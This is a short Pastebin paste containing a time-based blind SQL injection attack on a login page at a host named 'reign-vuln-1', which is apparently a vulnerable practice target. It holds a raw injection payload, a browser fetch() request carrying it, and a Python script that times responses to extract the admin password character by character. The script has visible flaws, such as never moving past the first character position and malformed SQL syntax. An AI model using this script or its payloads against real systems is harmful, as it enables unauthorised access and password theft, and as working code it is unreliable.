Advertisement
Nova38

Untitled

Aug 6th, 2022
16
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.47 KB | None | 0 0
  1. # test' OR IF(substring(password,1,1)='a' SLEEP(10), null)' --
  2.  
  3. # fetch("http://reign-vuln-1.azurewebsites.net/check_login.php", {"credentials":"include","headers":{"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3","accept-language":"en-US,en;q=0.9","cache-control":"max-age=0","content-type":"application/x-www-form-urlencoded","upgrade-insecure-requests":"1"},"referrer":"http://reign-vuln-1.azurewebsites.net/","referrerPolicy":"no-referrer-when-downgrade","body":"myusername=admin&mypassword=test%27+OR++IF%28substring%28password%2C1%2C1%29%3D%27c%27+SLEEP%2810%29%2C+null%29%27+--&submit_button=Submit","method":"POST","mode":"cors"});
  4.  
  5.  
  6. import requests
  7. from rich import print
  8.  
  9.  
  10. url = "http://reign-vuln-1.azurewebsites.net/check_login.php"
  11.  
  12. CHARSET = "abcdefghijklmnopqrstuvwxyz0123456789"
  13.  
  14. key = ""
  15. l_guess = []
  16. for _ in range (10):
  17.  
  18. highest_time = 0
  19. highest_char = "a"
  20. key_guesses = {}
  21.  
  22. for char in CHARSET:
  23. body= {"myusername":"admin", "mypassword":f"test' OR IF(substring(password,1,1)='{char}' SLEEP(10), null)' --'"}
  24.  
  25. re = requests.post(
  26. url= url,
  27. json=body
  28. )
  29. ti = re.elapsed.total_seconds()
  30.  
  31. if ti > highest_time:
  32. highest_char = char
  33. key_guesses[char] = ti
  34.  
  35. print (highest_char)
  36. key += highest_char
  37. l_guess.append(key_guesses)
  38.  
  39. print(l_guess)
  40. print(key)
  41.  
  42.  
  43.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement